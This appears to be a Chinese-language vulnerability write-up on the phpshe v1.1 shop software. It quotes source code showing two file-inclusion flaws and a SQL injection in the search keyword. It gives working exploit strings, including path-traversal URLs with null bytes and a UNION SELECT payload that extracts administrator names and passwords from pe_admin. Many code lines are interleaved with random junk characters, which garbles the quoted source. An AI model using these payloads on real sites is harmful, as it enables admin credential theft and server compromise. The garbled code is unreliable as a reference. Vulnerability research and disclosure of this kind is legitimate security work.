phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
. I( z+ o) s5 t  U& P5 n/* Phpshe v1.1 Vulnerability
/* ========================
" x  J% v+ b+ a6 f$ c/* By: : Kn1f3
7 z& L: H. A! \% X( i+ H. e/* E-Mail : 681796@qq.com
3 _# y+ U7 Z; w0 h; w/*******************************************************/
0×00 整体大概参数传输
0 v6 y( }& z& ]0 s


//common.php
if (get_magic_quotes_gpc()) {
8 r+ d4 i+ C6 a7 T$ W  e* Z!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
! P$ J0 W" k$ a+ n/ }# G!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
4 S4 H- v1 P: u. h- s0 C! x!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
; }/ {, I/ y2 x3 a! V2 e4 g. H( `# P! {}
session_start();
# b9 a; B! R" r$ V8 D, a+ Q% a!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
0 a1 e7 A* L  O  ?3 O5 I!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

! S8 g, i! M6 W; X0×01 包含漏洞


//首页文件
5 R; L# _8 [. z- b3 n+ A<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
/ d& \; F- I& w5 a0 qpe_result();
# i7 d, Q: T* e6 N+ }! E- W" T?>
//common 文件 第15行开始
# _# y9 g0 i5 R( curl路由配置
$module = $mod = $act = 'index';
$ p* v% K0 A5 c3 M! Y$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
9 o0 C3 d$ y. f9 ?( R5 `5 v+ l, X' u, i$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
8 P& T  [: H( _" m//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

$ ?- w; _3 |3 F% w 0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
( |+ S/ T2 x2 l5 V  X$info = $db->pe_select('category', array('category_id'=>$category_id));
9 }, ~$ k* ]! V8 G0 Q$ ?* M8 O//搜索
$sqlwhere = " and `product_state` = 1";
  }4 p" E4 k* u# c5 Lpe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
. h* X5 J9 Y# p( k* A. _}
7 M# U. f1 L. Q! @5 L  y/ \) C$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
$ k/ S7 m) C9 S5 m2 B( |0 }if ($_g_orderby) {
8 b, @( W4 }  s5 P, A. p4 ]' m. g$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
% I, D  f) @9 e! Zelse {
$sqlwhere .= " order by `product_id` desc";
}
) ?! l$ P1 P6 y. Q1 k5 Z  @& v$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
; B; y- P; n0 a+ b! w( [# a' }( j& }//热卖排行
/ O$ s, e0 X9 M$ U# K$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
; K. c. ]& x' j1 e1 |include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
) n$ O. j5 T. {/ o* H4 u/ Q, s//处理条件语句
$sqlwhere = $this->_dowhere($where);
  ]4 @$ @. {- T' w: v- Jreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
- m% t. X! J# B: `; |4 C}
, o7 {# g! V  h& k( }- S  n5 K//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
# n$ G4 z8 n9 Z& n

</code>
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0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

& d! H. ^& ]8 {$order_id = pe_dbhold($_g_id);

' _8 R) w7 K$ q4 e7 r( e4 E$cache_payway = cache::get('payway');

) d1 U6 F) l, z/ }) [2 i, Eforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

; Y3 [6 Q/ n$ V. Pif ($k == 'bank') {

9 x: |0 T" A" u$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

" s7 Y  c  k4 i$ q" |  u7 l/ s}

3 F- _/ H7 C$ `3 @}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

6 a) b. N4 {+ v1 _& R!$order['order_id'] && pe_error('订单号错误...');

3 O+ w7 d8 r( t; t3 _if (isset($_p_pesubmit)) {

5 z( x9 Q+ {+ Mif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

  T, |, h6 A$ v% z, Q" N: B+ |$ P$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

$ _' n+ n' A. e& ?foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

8 l6 V0 t, ?+ F* ^" ]: `9 C! @) A! hecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

8 w: r( z0 `9 G# c* L5 ]}//当一切准备好的时候就可以进行"鸡肋包含了"

% S( g# B5 O% I5 D, yelse {

pe_error('支付错误...');

}

2 a. `6 h* j& g) e! ^! f}

" O( G9 d3 M  O* z' M$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
; x& ?/ B1 G3 C7 d: H